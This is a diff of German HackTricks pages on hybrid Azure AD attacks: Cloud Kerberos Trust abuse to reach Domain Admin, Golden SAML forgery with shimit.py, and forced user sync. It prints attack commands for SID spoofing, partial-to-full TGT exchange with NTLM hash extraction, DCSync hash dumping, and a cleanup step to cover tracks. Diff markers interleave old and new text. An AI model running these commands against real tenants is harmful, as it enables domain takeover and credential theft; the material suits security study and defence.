**Dieser Beitrag ist eine Zusammenfassung von** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **die für weitere Informationen über den Angriff konsultiert werden kann. Diese Technik wird auch in** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)** kommentiert.**
|
||||
|
||||
## Grundinformationen
|
||||
## Kerberos-Vertrauensbeziehung Übersicht
|
||||
|
||||
### Vertrauen
|
||||
**Cloud Kerberos Trust (Entra ID -> AD)** -- Diese Funktion (Teil von Windows Hello for Business) etabliert ein einseitiges Vertrauen, bei dem das lokale AD **Entra ID** vertraut, Kerberos-Tickets für AD auszustellen. Die Aktivierung erstellt ein **AzureADKerberos$** Computerobjekt im AD (erscheint als Read-Only Domain Controller) und ein verknüpftes **`krbtgt_AzureAD`** Konto (ein sekundärer KRBTGT). Entra ID hält die Schlüssel für diese Konten und kann "partielle" Kerberos TGTs für AD-Benutzer ausstellen. AD-Domänencontroller werden diese Tickets anerkennen, jedoch mit RODC-ähnlichen Einschränkungen: standardmäßig sind **Hochprivilegierte Gruppen (Domain Admins, Enterprise Admins usw.) *verweigert*** und gewöhnliche Benutzer sind erlaubt. Dies verhindert, dass Entra ID unter normalen Bedingungen Domänenadministratoren über das Vertrauen authentifiziert. Wie wir sehen werden, kann ein Angreifer mit ausreichenden Entra ID-Rechten dieses Vertrauensdesign ausnutzen.
|
||||
|
||||
Wenn ein Vertrauen mit Azure AD hergestellt wird, wird ein **Read Only Domain Controller (RODC) im AD erstellt.** Der **RODC-Computeraccount** heißt **`AzureADKerberos$`**. Außerdem gibt es ein sekundäres `krbtgt`-Konto mit dem Namen **`krbtgt_AzureAD`**. Dieses Konto enthält die **Kerberos-Schlüssel**, die für Tickets verwendet werden, die Azure AD erstellt.
|
||||
## Pivoting von Entra ID zu On-Prem AD
|
||||
|
||||
Daher könnte es, wenn dieses Konto kompromittiert wird, möglich sein, sich als jeder Benutzer auszugeben... obwohl dies nicht zutrifft, da dieses Konto daran gehindert wird, Tickets für gängige privilegierte AD-Gruppen wie Domain Admins, Enterprise Admins, Administrators... zu erstellen.
|
||||
**Szenario:** Die Zielorganisation hat **Cloud Kerberos Trust** für passwortlose Authentifizierung aktiviert. Ein Angreifer hat **Global Administrator**-Rechte in Entra ID (Azure AD) erlangt, kontrolliert jedoch **noch nicht** das lokale AD. Der Angreifer hat auch einen Fuß in der Tür mit Netzwerkzugang zu einem Domänencontroller (über VPN oder eine Azure-VM im hybriden Netzwerk). Mithilfe des Cloud-Vertrauens kann der Angreifer die Kontrolle über Azure AD nutzen, um einen **Domain Admin**-Zugang im AD zu erlangen.
|
||||
|
||||
> [!CAUTION]
|
||||
> In einem realen Szenario wird es jedoch privilegierte Benutzer geben, die nicht in diesen Gruppen sind. Das **neue krbtgt-Konto könnte, wenn es kompromittiert wird, verwendet werden, um sich als diese auszugeben.**
|
||||
**Voraussetzungen:**
|
||||
|
||||
### Kerberos TGT
|
||||
- **Cloud Kerberos Trust** ist in der hybriden Umgebung konfiguriert (Indikator: ein `AzureADKerberos$` RODC-Konto existiert im AD).
|
||||
|
||||
Darüber hinaus wird, wenn sich ein Benutzer unter Windows mit einer hybriden Identität authentifiziert, **Azure AD** ein **teilweises Kerberos-Ticket zusammen mit dem PRT ausstellen.** Das TGT ist teilweise, weil **AzureAD nur begrenzte Informationen** über den Benutzer im lokalen AD hat (wie die Sicherheitskennung (SID) und den Namen).\
|
||||
Windows kann dann **dieses partielle TGT gegen ein vollständiges TGT eintauschen**, indem es ein Serviceticket für den `krbtgt`-Dienst anfordert.
|
||||
- Der Angreifer hat **Global Admin (oder Hybrid Identity Admin)**-Rechte im Entra ID-Mandanten (diese Rollen können die AD Connect **Synchronisations-API** verwenden, um Azure AD-Benutzer zu ändern).
|
||||
|
||||
### NTLM
|
||||
- Mindestens ein **hybrides Benutzerkonto** (existiert sowohl im AD als auch im AAD), bei dem sich der Angreifer authentifizieren kann. Dies könnte durch Kenntnis oder Zurücksetzen der Anmeldeinformationen oder durch Zuweisen einer passwortlosen Methode (z. B. eines Temporary Access Pass) zur Generierung eines Primary Refresh Token (PRT) für dieses Konto erlangt werden.
|
||||
|
||||
Da es Dienste geben könnte, die keine Kerberos-Authentifizierung, sondern NTLM unterstützen, ist es möglich, ein **partielles TGT zu beantragen, das mit einem sekundären `krbtgt`**-Schlüssel signiert ist, indem das **`KERB-KEY-LIST-REQ`**-Feld im **PADATA**-Teil der Anfrage enthalten ist, und dann ein vollständiges TGT zu erhalten, das mit dem primären `krbtgt`-Schlüssel **einschließlich des NT-Hashes in der Antwort** signiert ist.
|
||||
- Ein **lokales AD-Zielkonto** mit hohen Rechten, das *nicht* in der Standard-RODC "verweigern" Richtlinie enthalten ist. In der Praxis ist ein großartiges Ziel das **AD Connect Synchronisationskonto** (oft benannt als **MSOL_***), das DCSync (Replikations-)Rechte im AD hat, jedoch normalerweise kein Mitglied der integrierten Administrationsgruppen ist. Dieses Konto wird typischerweise nicht mit Entra ID synchronisiert, wodurch seine SID ohne Konflikt zur Identitätsübernahme verfügbar ist.
|
||||
|
||||
## Missbrauch von Cloud Kerberos Trust zur Erlangung von Domain Admin <a href="#abusing-cloud-kerberos-trust-to-obtain-domain-admin" id="abusing-cloud-kerberos-trust-to-obtain-domain-admin"></a>
|
||||
**Angriffsschritte:**
|
||||
|
||||
Wenn AzureAD ein **partielles TGT** generiert, verwendet es die Details, die es über den Benutzer hat. Daher könnte, wenn ein Global Admin Daten wie die **Sicherheitskennung und den Namen des Benutzers in AzureAD** ändern könnte, bei der Anforderung eines TGT für diesen Benutzer die **Sicherheitskennung eine andere sein**.
|
||||
1. **Zugriff auf Azure AD Synchronisations-API erhalten:** Verwenden Sie das Global Admin-Konto, um ein Zugriffstoken für die Azure AD **Provisioning (sync) API** zu erwerben. Dies kann mit Tools wie **ROADtools** oder **AADInternals** erfolgen. Zum Beispiel mit ROADtools (roadtx):
|
||||
```bash
|
||||
# Using roadtx to get an Azure AD Graph token (no MFA)
|
||||
roadtx gettokens -u <GlobalAdminUPN> -p <Password> --resource aadgraph
|
||||
```
|
||||
*(Alternativ kann AADInternals' `Connect-AADInt` verwendet werden, um sich als Global Admin zu authentifizieren.)*
|
||||
|
||||
Es ist nicht möglich, dies über die Microsoft Graph oder die Azure AD Graph zu tun, aber es ist möglich, die **API zu verwenden, die Active Directory Connect** verwendet, um synchronisierte Benutzer zu erstellen und zu aktualisieren, die von den Global Admins verwendet werden kann, um **den SAM-Namen und die SID eines hybriden Benutzers zu ändern**, und dann, wenn wir uns authentifizieren, erhalten wir ein partielles TGT, das die geänderte SID enthält.
|
||||
2. **Ändern Sie die On-Prem-Attribute eines Hybridbenutzers:** Nutzen Sie die Azure AD **Synchronisierungs-API**, um den **onPremises Security Identifier (SID)** und den **onPremises SAMAccountName** eines gewählten Hybridbenutzers so festzulegen, dass sie mit dem Ziel-AD-Konto übereinstimmen. Dies teilt Azure AD effektiv mit, dass der Cloud-Benutzer dem On-Prem-Konto entspricht, das wir nachahmen möchten. Verwenden Sie das Open-Source-Toolkit **ROADtools Hybrid**:
|
||||
```bash
|
||||
# Example: modify a hybrid user to impersonate the MSOL account
|
||||
python3 modifyuser.py -u <GlobalAdminUPN> -p <Password>\
|
||||
--sourceanchor <ImmutableID_of_User>\
|
||||
--sid <TargetAD_SID> --sam <TargetAD_SAMName>
|
||||
```
|
||||
> Der `sourceAnchor` (unveränderliche ID) des Benutzers wird benötigt, um das Azure AD-Objekt zu identifizieren, das geändert werden soll. Das Tool setzt die on-prem SID und den SAM-Kontonamen des hybriden Benutzers auf die Werte des Ziels (z. B. die SID und den SAM des MSOL_xxxx-Kontos). Azure AD erlaubt normalerweise nicht, diese Attribute über Graph zu ändern (sie sind schreibgeschützt), aber die Sync-Service-API erlaubt dies, und globale Administratoren können diese Synchronisierungsfunktionalität aufrufen.
|
||||
|
||||
Beachten Sie, dass wir dies mit AADInternals tun können und synchronisierte Benutzer über das [Set-AADIntAzureADObject](https://aadinternals.com/aadinternals/#set-aadintazureadobject-a) Cmdlet aktualisieren können.
|
||||
3. **Erhalten Sie ein partielles TGT von Azure AD:** Nach der Änderung authentifizieren Sie sich als hybrider Benutzer bei Azure AD (zum Beispiel, indem Sie ein PRT auf einem Gerät erhalten oder ihre Anmeldeinformationen verwenden). Wenn sich der Benutzer anmeldet (insbesondere auf einem domänenverbundenen oder Entra-verbundenen Windows-Gerät), gibt Azure AD ein **partielles Kerberos TGT (TGT**<sub>**AD**</sub>) für dieses Konto aus, da Cloud Kerberos Trust aktiviert ist. Dieses partielle TGT ist mit dem AzureADKerberos$ RODC-Schlüssel verschlüsselt und enthält die **Ziel-SID**, die wir festgelegt haben. Wir können dies simulieren, indem wir ein PRT für den Benutzer über ROADtools anfordern:
|
||||
```bash
|
||||
roadtx getprt -u <HybridUserUPN> -p <Password> -d <DeviceID_or_Cert>
|
||||
```
|
||||
Dies gibt eine `.prt`-Datei aus, die das partielle TGT und den Sitzungsschlüssel enthält. Wenn das Konto ein cloud-only Passwort war, enthält Azure AD dennoch ein TGT_AD in der PRT-Antwort.
|
||||
|
||||
### Angriffsvoraussetzungen <a href="#attack-prerequisites" id="attack-prerequisites"></a>
|
||||
4. **Exchange Partial TGT for Full TGT (on AD):** Das partielle TGT kann nun dem lokalen Domain Controller präsentiert werden, um ein **vollständiges TGT** für das Zielkonto zu erhalten. Wir tun dies, indem wir eine TGS-Anfrage für den `krbtgt`-Dienst (den primären TGT-Dienst der Domäne) durchführen – im Wesentlichen wird das Ticket auf ein normales TGT mit einem vollständigen PAC aktualisiert. Tools sind verfügbar, um diesen Austausch zu automatisieren. Zum Beispiel mit dem Skript von ROADtools Hybrid:
|
||||
```bash
|
||||
# Use the partial TGT from the PRT file to get a full TGT and NTLM hash
|
||||
python3 partialtofulltgt.py -p roadtx.prt -o full_tgt.ccache --extract-hash
|
||||
```
|
||||
Dieses Skript (oder Impacket-Äquivalente) wird den Domänencontroller kontaktieren und ein gültiges TGT für das Ziel-AD-Konto abrufen, einschließlich des NTLM-Hashes des Kontos, wenn die spezielle Kerberos-Erweiterung verwendet wird. Die **`KERB-KEY-LIST-REQ`**-Erweiterung wird automatisch hinzugefügt, um den DC zu bitten, den NTLM-Hash des Zielkontos in der verschlüsselten Antwort zurückzugeben. Das Ergebnis ist ein Anmeldeinformationen-Cache (`full_tgt.ccache`) für das Zielkonto *oder* den wiederhergestellten NTLM-Passwort-Hash.
|
||||
|
||||
Der Erfolg des Angriffs und die Erlangung von Domain Admin-Rechten hängen von der Erfüllung bestimmter Voraussetzungen ab:
|
||||
5. **Ziel impersonieren und zu Domain Admin erhöhen:** Jetzt kontrolliert der Angreifer effektiv **das Ziel-AD-Konto**. Wenn das Ziel beispielsweise das AD Connect **MSOL-Konto** war, hat es Replikationsrechte im Verzeichnis. Der Angreifer kann einen **DCSync**-Angriff unter Verwendung der Anmeldeinformationen dieses Kontos oder des Kerberos-TGT durchführen, um Passwort-Hashes aus AD zu dumpen (einschließlich des Domänen-KRBTGT-Kontos). Zum Beispiel:
|
||||
```bash
|
||||
# Using impacket's secretsdump to DCSync as the MSOL account (using NTLM hash)
|
||||
secretsdump.py 'AD_DOMAIN/<TargetSAM>$@<DC_IP>' -hashes :<NTLM_hash> LOCAL
|
||||
```
|
||||
Dies dumpft alle AD-Benutzerpassworthashes und gibt dem Angreifer den KRBTGT-Hash (was es ihm ermöglicht, Kerberos-Tickets für die Domäne nach Belieben zu fälschen) und effektiv **Domain Admin**-Privilegien über AD. Wenn das Zielkonto ein anderer privilegierter Benutzer wäre, könnte der Angreifer das vollständige TGT verwenden, um auf jede Domänenressource als dieser Benutzer zuzugreifen.
|
||||
|
||||
- Die Fähigkeit, Konten über die Synchronisierungs-API zu ändern, ist entscheidend. Dies kann erreicht werden, indem man die Rolle des Global Admin hat oder über ein AD Connect-Synchronisationskonto verfügt. Alternativ würde die Rolle des Hybrid Identity Administrators ausreichen, da sie die Möglichkeit bietet, AD Connect zu verwalten und neue Synchronisationskonten zu erstellen.
|
||||
- Das Vorhandensein eines **hybriden Kontos** ist unerlässlich. Dieses Konto muss für die Modifikation mit den Details des Opferkontos geeignet sein und sollte auch für die Authentifizierung zugänglich sein.
|
||||
- Die Identifizierung eines **Zielopferkontos** innerhalb des Active Directory ist notwendig. Obwohl der Angriff auf jedes bereits synchronisierte Konto ausgeführt werden kann, darf der Azure AD-Mandant keine replizierten lokalen Sicherheitskennungen haben, was die Modifikation eines nicht synchronisierten Kontos erforderlich macht, um das Ticket zu beschaffen.
|
||||
- Darüber hinaus sollte dieses Konto über gleichwertige Domain-Admin-Rechte verfügen, darf jedoch kein Mitglied typischer AD-Administratorgruppen sein, um die Generierung ungültiger TGTs durch den AzureAD RODC zu vermeiden.
|
||||
- Das am besten geeignete Ziel ist das **Active Directory-Konto, das vom AD Connect Sync-Dienst verwendet wird**. Dieses Konto wird nicht mit Azure AD synchronisiert, wodurch seine SID ein viables Ziel darstellt, und es hat aufgrund seiner Rolle bei der Synchronisierung von Passwort-Hashes (vorausgesetzt, die Passwort-Hash-Synchronisierung ist aktiv) von Natur aus gleichwertige Domain-Admin-Rechte. Für Domänen mit Express-Installation wird dieses Konto mit **MSOL\_** vorangestellt. In anderen Fällen kann das Konto ermittelt werden, indem alle Konten aufgelistet werden, die über Verzeichnisreplikationsrechte auf dem Domänenobjekt verfügen.
|
||||
6. **Bereinigung:** Optional kann der Angreifer den ursprünglichen `onPremisesSAMAccountName` und SID des modifizierten Azure AD-Benutzers über dieselbe API wiederherstellen oder einfach jeden erstellten temporären Benutzer löschen. In vielen Fällen wird der nächste Azure AD Connect-Synchronisierungszyklus nicht autorisierte Änderungen an synchronisierten Attributen automatisch zurücksetzen. (Zu diesem Zeitpunkt ist der Schaden jedoch bereits angerichtet – der Angreifer hat DA-Privilegien.)
|
||||
|
||||
> [!WARNING]
|
||||
> Durch den Missbrauch des Cloud-Vertrauens und des Synchronisierungsmechanismus kann ein Global Admin von Azure AD nahezu *jedes* AD-Konto nachahmen, das nicht ausdrücklich durch die RODC-Richtlinie geschützt ist, selbst wenn dieses Konto nie cloud-synchronisiert wurde. In einer Standardkonfiguration **überbrückt dies ein vollständiges Vertrauen vom Azure AD-Kompromiss zum on-prem AD-Kompromiss**.
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- [Obtaining Domain Admin from Azure AD via Cloud Kerberos Trust](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/)
|
||||
|
||||
### Der vollständige Angriff <a href="#the-full-attack" id="the-full-attack"></a>
|
||||
|
||||
Überprüfen Sie es im Originalbeitrag: [https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,9 +0,0 @@
|
||||
# Az - Standardanwendungen
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Überprüfen Sie die Technik in:** [**https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/**](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**,** [**https://www.youtube.com/watch?v=JEIR5oGCwdg**](https://www.youtube.com/watch?v=JEIR5oGCwdg) und [**https://www.youtube.com/watch?v=xei8lAPitX8**](https://www.youtube.com/watch?v=xei8lAPitX8)
|
||||
|
||||
Der Blogbeitrag behandelt eine Privilegieneskalationsanfälligkeit in Azure AD, die es Anwendungsadministratoren oder kompromittierten On-Premise-Sync-Konten ermöglicht, Privilegien zu eskalieren, indem sie Anmeldedaten Anwendungen zuweisen. Die Anfälligkeit, die sich aus dem "by-design" Verhalten von Azure AD im Umgang mit Anwendungen und Dienstprinzipalen ergibt, betrifft insbesondere die Standardanwendungen von Office 365. Obwohl gemeldet, wird das Problem von Microsoft aufgrund der Dokumentation des Verhaltens bei der Zuweisung von Administratorrechten nicht als Anfälligkeit betrachtet. Der Beitrag bietet detaillierte technische Einblicke und empfiehlt regelmäßige Überprüfungen der Anmeldedaten von Dienstprinzipalen in Azure AD-Umgebungen. Für detailliertere Informationen können Sie den ursprünglichen Blogbeitrag besuchen.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -4,30 +4,29 @@
|
||||
|
||||
## Grundinformationen
|
||||
|
||||
[Aus den Dokumenten:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**Federation** ist eine Sammlung von **Domänen**, die **Vertrauen** etabliert haben. Das Vertrauensniveau kann variieren, umfasst jedoch typischerweise **Authentifizierung** und fast immer **Autorisierung**. Eine typische Föderation könnte eine **Anzahl von Organisationen** umfassen, die **Vertrauen** für **gemeinsamen Zugriff** auf eine Reihe von Ressourcen etabliert haben.
|
||||
[Aus den Dokumenten:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)
|
||||
|
||||
Sie können Ihre **On-Premises**-Umgebung **mit Azure AD** föderieren und diese Föderation für Authentifizierung und Autorisierung nutzen. Diese Anmeldemethode stellt sicher, dass alle Benutzer-**Authentifizierungen vor Ort** erfolgen. Diese Methode ermöglicht es Administratoren, rigorosere Zugriffskontrollen zu implementieren. Die Föderation mit **AD FS** und PingFederate ist verfügbar.
|
||||
>**Federation** ist eine Sammlung von **Domänen**, die **Vertrauen** etabliert haben. Das Vertrauensniveau kann variieren, umfasst jedoch typischerweise **Authentifizierung** und fast immer **Autorisierung**. Eine typische Föderation könnte eine **Anzahl von Organisationen** umfassen, die **Vertrauen** für **gemeinsamen Zugriff** auf eine Reihe von Ressourcen etabliert haben.
|
||||
>Sie können Ihre **lokale** Umgebung **mit Azure AD** föderieren und diese Föderation für Authentifizierung und Autorisierung nutzen. Diese Anmeldemethode stellt sicher, dass alle Benutzer-**Authentifizierungen lokal** erfolgen. Diese Methode ermöglicht es Administratoren, rigorosere Zugriffskontrollen zu implementieren. Die Föderation mit **AD FS** und PingFederate ist verfügbar.
|
||||
|
||||
<figure><img src="../../../../images/image (154).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Im Wesentlichen erfolgt in der Föderation die gesamte **Authentifizierung** in der **On-Prem**-Umgebung, und der Benutzer erlebt SSO über alle vertrauenswürdigen Umgebungen hinweg. Daher können Benutzer **auf** **Cloud**-Anwendungen zugreifen, indem sie ihre **On-Prem-Anmeldeinformationen** verwenden.
|
||||
Im Wesentlichen erfolgt in der Föderation alle **Authentifizierung** in der **lokalen** Umgebung und der Benutzer erlebt SSO über alle vertrauenswürdigen Umgebungen hinweg. Daher können Benutzer **auf** **Cloud**-Anwendungen zugreifen, indem sie ihre **lokalen Anmeldeinformationen** verwenden.
|
||||
|
||||
**Security Assertion Markup Language (SAML)** wird verwendet, um alle Authentifizierungs- und Autorisierungs-**informationen** zwischen den Anbietern **auszutauschen**.
|
||||
|
||||
In jeder Föderationseinrichtung gibt es drei Parteien:
|
||||
In jeder Föderationskonfiguration gibt es drei Parteien:
|
||||
|
||||
- Benutzer oder Client
|
||||
- Identitätsanbieter (IdP)
|
||||
- Dienstanbieter (SP)
|
||||
|
||||
(Bilder von https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
|
||||
|
||||
<figure><img src="../../../../images/image (121).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../images/image (121).png" alt="https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps"><figcaption>https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps</figcaption></figure>
|
||||
|
||||
1. Zunächst wird eine Anwendung (Dienstanbieter oder SP, wie die AWS-Konsole oder der vSphere-Webclient) von einem Benutzer aufgerufen. Dieser Schritt kann umgangen werden, sodass der Client direkt zum IdP (Identitätsanbieter) geleitet wird, abhängig von der spezifischen Implementierung.
|
||||
2. Anschließend identifiziert der SP den geeigneten IdP (z. B. AD FS, Okta) für die Benutzer-Authentifizierung. Er erstellt dann eine SAML (Security Assertion Markup Language) AuthnRequest und leitet den Client an den gewählten IdP weiter.
|
||||
3. Der IdP übernimmt und authentifiziert den Benutzer. Nach der Authentifizierung wird eine SAMLResponse vom IdP formuliert und über den Benutzer an den SP weitergeleitet.
|
||||
4. Schließlich bewertet der SP die SAMLResponse. Wenn sie erfolgreich validiert wird, was auf eine Vertrauensbeziehung mit dem IdP hinweist, erhält der Benutzer Zugriff. Dies markiert den Abschluss des Anmeldevorgangs, sodass der Benutzer den Dienst nutzen kann.
|
||||
4. Schließlich bewertet der SP die SAMLResponse. Wenn sie erfolgreich validiert wird, was eine Vertrauensbeziehung mit dem IdP impliziert, erhält der Benutzer Zugriff. Dies markiert den Abschluss des Anmeldevorgangs, sodass der Benutzer den Dienst nutzen kann.
|
||||
|
||||
**Wenn Sie mehr über SAML-Authentifizierung und gängige Angriffe erfahren möchten, gehen Sie zu:**
|
||||
|
||||
@@ -41,7 +40,7 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
|
||||
- "..claims sind einfach Aussagen (zum Beispiel Name, Identität, Gruppe), die über Benutzer gemacht werden und hauptsächlich zur Autorisierung des Zugriffs auf claims-basierte Anwendungen verwendet werden, die überall im Internet zu finden sind."
|
||||
- Ansprüche für einen Benutzer werden in den SAML-Token geschrieben und dann vom IdP signiert, um Vertraulichkeit zu gewährleisten.
|
||||
- Ein Benutzer wird durch ImmutableID identifiziert. Sie ist global eindeutig und wird in Azure AD gespeichert.
|
||||
- Die ImmutableID wird vor Ort als ms-DS-ConsistencyGuid für den Benutzer gespeichert und/oder kann aus der GUID des Benutzers abgeleitet werden.
|
||||
- Die ImmutableID wird lokal als ms-DS-ConsistencyGuid für den Benutzer gespeichert und/oder kann aus der GUID des Benutzers abgeleitet werden.
|
||||
- Weitere Informationen unter [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims)
|
||||
|
||||
**Golden SAML-Angriff:**
|
||||
@@ -56,25 +55,25 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
|
||||
|
||||
Der Prozess, bei dem ein **Identitätsanbieter (IdP)** eine **SAMLResponse** zur Autorisierung der Benutzeranmeldung erstellt, ist von entscheidender Bedeutung. Abhängig von der spezifischen Implementierung des IdP kann die **Antwort** **signiert** oder **verschlüsselt** sein, wobei der **private Schlüssel des IdP** verwendet wird. Dieses Verfahren ermöglicht es dem **Dienstanbieter (SP)**, die Authentizität der SAMLResponse zu bestätigen und sicherzustellen, dass sie tatsächlich von einem vertrauenswürdigen IdP ausgestellt wurde.
|
||||
|
||||
Eine Parallele kann zum [Golden Ticket-Angriff](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket) gezogen werden, bei dem der Schlüssel, der die Identität und Berechtigungen des Benutzers authentifiziert (KRBTGT für goldene Tickets, Token-Signatur-privater Schlüssel für golden SAML), manipuliert werden kann, um ein **Authentifizierungsobjekt** (TGT oder SAMLResponse) zu **fälschen**. Dies ermöglicht die Identitätsübernahme eines beliebigen Benutzers und gewährt unbefugten Zugriff auf den SP.
|
||||
Eine Parallele kann zum [Golden Ticket-Angriff](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket) gezogen werden, bei dem der Schlüssel, der die Identität und Berechtigungen des Benutzers authentifiziert (KRBTGT für goldene Tickets, Token-Signatur-privater Schlüssel für golden SAML), manipuliert werden kann, um ein **Authentifizierungsobjekt** (TGT oder SAMLResponse) zu fälschen. Dies ermöglicht die Identitätsübernahme eines beliebigen Benutzers und gewährt unbefugten Zugriff auf den SP.
|
||||
|
||||
Golden SAMLs bieten bestimmte Vorteile:
|
||||
|
||||
- Sie können **remote erstellt** werden, ohne Teil der betreffenden Domäne oder Föderation zu sein.
|
||||
- Sie bleiben auch mit aktivierter **Zwei-Faktor-Authentifizierung (2FA)** wirksam.
|
||||
- Sie bleiben auch mit **Zwei-Faktor-Authentifizierung (2FA)** wirksam.
|
||||
- Der Token-Signatur-**private Schlüssel erneuert sich nicht automatisch**.
|
||||
- **Ändern eines Benutzers Passworts macht eine bereits generierte SAML nicht ungültig**.
|
||||
- **Das Ändern des Passworts eines Benutzers macht eine bereits generierte SAML nicht ungültig**.
|
||||
|
||||
#### AWS + AD FS + Golden SAML
|
||||
|
||||
[Active Directory Federation Services (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>) ist ein Microsoft-Dienst, der den **sicheren Austausch von Identitätsinformationen** zwischen vertrauenswürdigen Geschäftspartnern (Föderation) erleichtert. Er ermöglicht es im Wesentlichen einem Domänendienst, Benutzeridentitäten mit anderen Dienstanbietern innerhalb einer Föderation zu teilen.
|
||||
|
||||
Mit AWS, das der kompromittierten Domäne (in einer Föderation) vertraut, kann diese Schwachstelle ausgenutzt werden, um potenziell **alle Berechtigungen in der AWS-Umgebung zu erwerben**. Der Angriff erfordert den **privaten Schlüssel**, der zur Signierung der SAML-Objekte verwendet wird, ähnlich wie beim Bedarf des KRBTGT in einem Golden Ticket-Angriff. Der Zugriff auf das AD FS-Benutzerkonto reicht aus, um diesen privaten Schlüssel zu erhalten.
|
||||
Mit AWS, das der kompromittierten Domäne (in einer Föderation) vertraut, kann diese Schwachstelle ausgenutzt werden, um potenziell **alle Berechtigungen in der AWS-Umgebung zu erwerben**. Der Angriff erfordert den **privaten Schlüssel, der zur Signierung der SAML-Objekte verwendet wird**, ähnlich wie beim Bedarf an KRBTGT in einem Golden Ticket-Angriff. Der Zugriff auf das AD FS-Benutzerkonto reicht aus, um diesen privaten Schlüssel zu erhalten.
|
||||
|
||||
Die Anforderungen für die Durchführung eines Golden SAML-Angriffs umfassen:
|
||||
|
||||
- **Token-Signatur-privater Schlüssel**
|
||||
- **IdP-Öffentliches Zertifikat**
|
||||
- **IdP-öffentlichen Zertifikat**
|
||||
- **IdP-Name**
|
||||
- **Rollenname (Rolle, die übernommen werden soll)**
|
||||
- Domain\Benutzername
|
||||
@@ -112,7 +111,7 @@ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -
|
||||
# Save SAMLResponse to file
|
||||
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml
|
||||
```
|
||||
<figure><img src="../../../../images/image (128).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../images/image (128).png" alt="https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps"><figcaption>https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps</figcaption></figure>
|
||||
|
||||
### On-prem -> Cloud
|
||||
```bash
|
||||
@@ -0,0 +1,29 @@
|
||||
# Hybrid Identity Verschiedene Angriffe
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Erzwingen der Synchronisierung von Entra ID-Benutzern zu on-prem
|
||||
|
||||
Wie in [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg) erwähnt, war es möglich, den Wert von **`ProxyAddress`** innerhalb eines AD-Benutzers im on-prem AD zu ändern, indem die E-Mail eines Entra ID-Adminbenutzers hinzugefügt wurde und sichergestellt wurde, dass der UPN des Benutzers im AD und in Entra ID übereinstimmte (das ist wieder die Entra ID), wie **`SMTP:admin@domain.onmicrosoft.com`**. Und dies würde **die Synchronisierung dieses Benutzers** von Entra ID zum on-prem AD **erzwingen**, sodass, wenn das Passwort des Benutzers bekannt war, es verwendet werden könnte, um **auf den Admin in Entra ID zuzugreifen.**
|
||||
|
||||
Um einen neuen Benutzer von Entra ID zum on-prem AD zu synchronisieren, sind die Anforderungen, die einzigen Anforderungen:
|
||||
|
||||
- Kontrolle über die Attribute eines Benutzers im on-prem AD (oder Berechtigungen zum Erstellen neuer Benutzer haben)
|
||||
- Den Benutzer cloud-only kennen, um von Entra ID zum on-prem AD zu synchronisieren
|
||||
- Möglicherweise müssen Sie auch in der Lage sein, das immutableID-Attribut vom Entra ID-Benutzer zum on-prem AD-Benutzer zu ändern, um einen **harten Abgleich** durchzuführen.
|
||||
|
||||
|
||||
> [!CAUTION]
|
||||
> Entra ID erlaubt es nicht mehr, Admins von Entra ID zum on-prem AD zu synchronisieren.
|
||||
> Außerdem **umgeht dies nicht MFA**.
|
||||
|
||||
|
||||
|
||||
## Referenzen
|
||||
|
||||
- [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg)
|
||||
- [https://activedirectorypro.com/sync-on-prem-ad-with-existing-azure-ad-users/](https://activedirectorypro.com/sync-on-prem-ad-with-existing-azure-ad-users/)
|
||||
- [https://www.orbid365.be/manually-match-on-premise-ad-user-to-existing-office365-user/](https://www.orbid365.be/manually-match-on-premise-ad-user-to-existing-office365-user/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Grundinformationen
|
||||
|
||||
